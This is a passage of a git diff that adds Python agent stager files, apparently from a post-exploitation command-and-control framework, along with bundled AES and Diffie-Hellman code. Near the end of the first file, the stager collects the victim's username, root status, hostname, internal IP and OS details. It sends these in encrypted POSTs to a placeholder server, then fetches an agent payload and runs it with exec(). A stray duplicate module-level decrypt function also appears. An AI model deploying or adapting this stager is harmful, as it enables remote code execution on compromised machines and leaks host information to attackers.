0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ] + + def __init__(self, key): + + if len(key) not in (16, 24, 32): + raise ValueError('Invalid key size') + + rounds = self.number_of_rounds[len(key)] + + # Encryption round keys + self._Ke = [[0] * 4 for i in xrange(rounds + 1)] + + # Decryption round keys + self._Kd = [[0] * 4 for i in xrange(rounds + 1)] + + round_key_count = (rounds + 1) * 4 + KC = len(key) // 4 + + # Convert the key into ints + tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ] + + # Copy values into round key arrays + for i in xrange(0, KC): + self._Ke[i // 4][i % 4] = tk[i] + self._Kd[rounds - (i // 4)][i % 4] = tk[i] + + # Key expansion (fips-197 section 5.2) + rconpointer = 0 + t = KC + while t < round_key_count: + + tt = tk[KC - 1] + tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ + (self.S[(tt >> 8) & 0xFF] << 16) ^ + (self.S[ tt & 0xFF] << 8) ^ + self.S[(tt >> 24) & 0xFF] ^ + (self.rcon[rconpointer] << 24)) + rconpointer += 1 + + if KC != 8: + for i in xrange(1, KC): + tk[i] ^= tk[i - 1] + + # Key expansion for 256-bit keys is "slightly different" (fips-197) + else: + for i in xrange(1, KC // 2): + tk[i] ^= tk[i - 1] + tt = tk[KC // 2 - 1] + + tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ + (self.S[(tt >> 8) & 0xFF] << 8) ^ + (self.S[(tt >> 16) & 0xFF] << 16) ^ + (self.S[(tt >> 24) & 0xFF] << 24)) + + for i in xrange(KC // 2 + 1, KC): + tk[i] ^= tk[i - 1] + + # Copy values into round key arrays + j = 0 + while j < KC and t < round_key_count: + self._Ke[t // 4][t % 4] = tk[j] + self._Kd[rounds - (t // 4)][t % 4] = tk[j] + j += 1 + t += 1 + + # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) + for r in xrange(1, rounds): + for j in xrange(0, 4): + tt = self._Kd[r][j] + self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ + self.U2[(tt >> 16) & 0xFF] ^ + self.U3[(tt >> 8) & 0xFF] ^ + self.U4[ tt & 0xFF]) + + def encrypt(self, plaintext): + 'Encrypt a block of plain text using the AES block cipher.' + + if len(plaintext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Ke) - 1 + (s1, s2, s3) = [1, 2, 3] + a = [0, 0, 0, 0] + + # Convert plaintext to (ints ^ key) + t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ + self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T4[ t[(i + s3) % 4] & 0xFF] ^ + self._Ke[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Ke[rounds][i] + result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + def decrypt(self, ciphertext): + 'Decrypt a block of cipher text using the AES block cipher.' + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + +def decrypt(self, ciphertext): + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + +class AESBlockModeOfOperation(object): + '''Super-class for AES modes of operation that require blocks.''' + def __init__(self, key): + self._aes = AES(key) + + def decrypt(self, ciphertext): + raise Exception('not implemented') + + def encrypt(self, plaintext): + raise Exception('not implemented') + + +class AESModeOfOperationCBC(AESBlockModeOfOperation): + + name = "Cipher-Block Chaining (CBC)" + + def __init__(self, key, iv = None): + if iv is None: + self._last_cipherblock = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._last_cipherblock = _string_to_bytes(iv) + + AESBlockModeOfOperation.__init__(self, key) + + def encrypt(self, plaintext): + if len(plaintext) != 16: + raise ValueError('plaintext block must be 16 bytes') + + plaintext = _string_to_bytes(plaintext) + precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] + self._last_cipherblock = self._aes.encrypt(precipherblock) + + return _bytes_to_string(self._last_cipherblock) + + + def decrypt(self, ciphertext): + if len(ciphertext) != 16: + raise ValueError('ciphertext block must be 16 bytes') + + cipherblock = _string_to_bytes(ciphertext) + plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] + self._last_cipherblock = cipherblock + + return _bytes_to_string(plaintext) + + +def CBCenc(aesObj, plaintext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)] + blocks[-1] = append_PKCS7_padding(blocks[-1]) + + ciphertext = "" + for block in blocks: + ciphertext += aesObj.encrypt(block) + + return ciphertext + + +def CBCdec(aesObj, ciphertext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)] + + plaintext = "" + + for x in xrange(0, len(blocks)-1): + plaintext += aesObj.decrypt(blocks[x]) + + plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1])) + + return plaintext + + +def getIV(): + # return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in xrange(16)) + return ''.join(chr(random.randint(0,255)) for _ in range(16)) + + +def aes_encrypt(key, data): + """ + Generate a random IV and new AES cipher object with the given + key, and return IV + encryptedData. + """ + IV = getIV() + aes = AESModeOfOperationCBC(key, iv=IV) + return IV + CBCenc(aes, data) + + +def aes_encrypt_then_hmac(key, data): + """ + Encrypt the data then calculate HMAC over the ciphertext. + """ + data = aes_encrypt(key, data) + mac = hmac.new(str(key), data, hashlib.sha1).digest() + return data + mac + + +def aes_decrypt(key, data): + """ + Generate an AES cipher object, pull out the IV from the data + and return the unencrypted data. + """ + IV = data[0:16] + aes = AESModeOfOperationCBC(key, iv=IV) + return CBCdec(aes, data[16:]) + + +def verify_hmac(key, data): + """ + Verify the HMAC supplied in the data with the given key. + """ + if len(data) > 20: + mac = data[-20:] + data = data[:-20] + expected = hmac.new(str(key), data, hashlib.sha1).digest() + # Double HMAC to prevent timing attacks. hmac.compare_digest() is + # preferable, but only available since Python 2.7.7. + return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest() + + return False + + +def aes_decrypt_and_verify(key, data): + """ + Decrypt the data, but only if it has a valid MAC. + """ + if len(data) > 32 and verify_hmac(key, data): + return aes_decrypt(key, data[:-20]) + + raise Exception("Invalid ciphertext received.") + + +def post_message(uri, data): + global headers + return (urllib2.urlopen(urllib2.Request(uri, data, headers))).read() + + +def get_sysinfo(): + + # listener | username | high_integrity | hostname | internal_ip | os_details | process_id | py_version + username = os.getlogin() + + uid = os.popen('id -u').read().strip() + highIntegrity = "True" if (uid == "0") else False + + osDetails = os.uname() + hostname = osDetails[1] + + x = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + x.connect(("10.0.0.0",80)) + internalIP = x.getsockname()[0] + x.close() + + osDetails = ",".join(osDetails) + processID = os.getpid() + pyVersion = '.'.join([str(x) for x in sys.version_info]) + + return "%s|%s|%s|%s|%s|%s|%s|%s" %(server, username, highIntegrity, hostname, internalIP, osDetails, processID, pyVersion) + + +# generate a randomized sessionID +sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(16)) + +# server configuration information +key = "REPLACE_STAGING_KEY" +server = 'REPLACE_SERVER' +profile = 'REPLACE_PROFILE' + +parts = profile.split("|") +taskURIs = parts[0].split(",") +userAgent = parts[1] +headersRaw = parts[2:] + +# global header dictionary +# sessionID is set by stager.py +headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)} + +# parse the headers into the global header dictionary +for headerRaw in headersRaw: + try: + headerKey = headerRaw.split(":")[0] + headerValue = headerRaw.split(":")[1] + + if headerKey.lower() == "cookie": + headers['Cookie'] = "%s;%s" %(headers['Cookie'], headerValue) + else: + headers[headerKey] = headerValue + except: + pass + +# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server +clientPub = DiffieHellman() +hmacData = aes_encrypt_then_hmac(key, str(clientPub.publicKey)) + +try : + postURI = server + '/index.jsp' + response = post_message(postURI, hmacData) +except: + exit() + +# decrypt the server's public key and the server nonce +packet = aes_decrypt_and_verify(key, response) +nonce = packet[0:16] +serverPub = int(packet[16:]) + +# calculate the shared secret +clientPub.genKey(serverPub) +key = clientPub.key + +postURI = server + '/index.php' +# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) +hmacData = aes_encrypt_then_hmac(clientPub.key, str(int(nonce)+1) + "|" + get_sysinfo()) +response = post_message(postURI, hmacData) + +# step 6 -> server sends HMAC(AES) +agent = aes_decrypt_and_verify(key, response) +exec(agent) diff --git a/data/agent/stager_hop.py b/data/agent/stager_hop.py new file mode 100644 index 0000000..459f20f --- /dev/null +++ b/data/agent/stager_hop.py @@ -0,0 +1,650 @@ +#!/usr/bin/env python + +# AES code from https://github.com/ricmoo/pyaes +# DH code from Directly from: https://github.com/lowazo/pyDHE +# See README.md for complete citations and sources + +import copy, sys, struct, os, hashlib, random, string, hmac, urllib2, socket +import base64 + +# If a secure random number generator is unavailable, exit with an error. +try: + import ssl + random_function = ssl.RAND_bytes + random_provider = "Python SSL" +except (AttributeError, ImportError): + import OpenSSL + random_function = OpenSSL.rand.bytes + random_provider = "OpenSSL" + +class DiffieHellman(object): + """ + A reference implementation of the Diffie-Hellman protocol. + By default, this class uses the 6144-bit MODP Group (Group 17) from RFC 3526. + This prime is sufficient to generate an AES 256 key when used with + a 540+ bit exponent. + """ + + def __init__(self, generator=2, group=17, keyLength=540): + """ + Generate the public and private keys. + """ + min_keyLength = 180 + default_keyLength = 540 + + default_generator = 2 + valid_generators = [ 2, 3, 5, 7 ] + + # Sanity check fors generator and keyLength + if(generator not in valid_generators): + print("Error: Invalid generator. Using default.") + self.generator = default_generator + else: + self.generator = generator + + if(keyLength < min_keyLength): + print("Error: keyLength is too small. Setting to minimum.") + self.keyLength = min_keyLength + else: + self.keyLength = keyLength + + self.prime = self.getPrime(group) + + self.privateKey = self.genPrivateKey(keyLength) + self.publicKey = self.genPublicKey() + + def getPrime(self, group=17): + """ + Given a group number, return a prime. + """ + default_group = 17 + + primes = { + 5: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF, + 14: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF, + 15: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF, + 16: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF, + 17: + 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF, + 18: + 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF + } + + if group in primes.keys(): + return primes[group] + else: + print("Error: No prime with group %i. Using default." % group) + return primes[default_group] + + def genRandom(self, bits): + """ + Generate a random number with the specified number of bits + """ + _rand = 0 + _bytes = bits // 8 + 8 + + while(_rand.bit_length() < bits): + try: + # Python 3 + _rand = int.from_bytes(random_function(_bytes), byteorder='big') + except: + # Python 2 + _rand = int(OpenSSL.rand.bytes(_bytes).encode('hex'), 16) + + return _rand + + def genPrivateKey(self, bits): + """ + Generate a private key using a secure random number generator. + """ + return self.genRandom(bits) + + def genPublicKey(self): + """ + Generate a public key X with g**x % p. + """ + return pow(self.generator, self.privateKey, self.prime) + + def checkPublicKey(self, otherKey): + """ + Check the other party's public key to make sure it's valid. + Since a safe prime is used, verify that the Legendre symbol == 1 + """ + if(otherKey > 2 and otherKey < self.prime - 1): + if(pow(otherKey, (self.prime - 1)//2, self.prime) == 1): + return True + return False + + def genSecret(self, privateKey, otherKey): + """ + Check to make sure the public key is valid, then combine it with the + private key to generate a shared secret. + """ + if(self.checkPublicKey(otherKey) == True): + sharedSecret = pow(otherKey, privateKey, self.prime) + return sharedSecret + else: + raise Exception("Invalid public key.") + + def genKey(self, otherKey): + """ + Derive the shared secret, then hash it to obtain the shared key. + """ + self.sharedSecret = self.genSecret(self.privateKey, otherKey) + + # Convert the shared secret (int) to an array of bytes in network order + # Otherwise hashlib can't hash it. + try: + _sharedSecretBytes = self.sharedSecret.to_bytes( + self.sharedSecret.bit_length() // 8 + 1, byteorder="big") + except AttributeError: + _sharedSecretBytes = str(self.sharedSecret) + + s = hashlib.sha256() + s.update(bytes(_sharedSecretBytes)) + self.key = s.digest() + + def getKey(self): + """ + Return the shared secret key + """ + return self.key + +def _compact_word(word): + return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] + +def _string_to_bytes(text): + return list(ord(c) for c in text) + +def _bytes_to_string(binary): + return "".join(chr(b) for b in binary) + +def _concat_list(a, b): + return a + b + +def to_bufferable(binary): + return binary + +def _get_byte(c): + return ord(c) + +# Python 3 compatibility +try: + xrange +except Exception: + xrange = range + + # Python 3 supports bytes, which is already an array of integers + def _string_to_bytes(text): + if isinstance(text, bytes): + return text + return [ord(c) for c in text] + + # In Python 3, we return bytes + def _bytes_to_string(binary): + return bytes(binary) + + # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first + def _concat_list(a, b): + return a + bytes(b) + + def to_bufferable(binary): + if isinstance(binary, bytes): + return binary + return bytes(ord(b) for b in binary) + + def _get_byte(c): + return c + +def append_PKCS7_padding(data): + if (len(data) % 16) == 0: + return data + else: + pad = 16 - (len(data) % 16) + return data + to_bufferable(chr(pad) * pad) + +def strip_PKCS7_padding(data): + if len(data) % 16 != 0: + raise ValueError("invalid length") + + pad = _get_byte(data[-1]) + + if pad <= 16: + return data[:-pad] + else: + return data + + +class AES(object): + '''Encapsulates the AES block cipher. + + You generally should not need this. Use the AESModeOfOperation classes + below instead.''' + + # Number of rounds by keysize + number_of_rounds = {16: 10, 24: 12, 32: 14} + + # Round constant words + rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ] + + # S-box and Inverse S-box (S is for Substitution) + S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] + Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 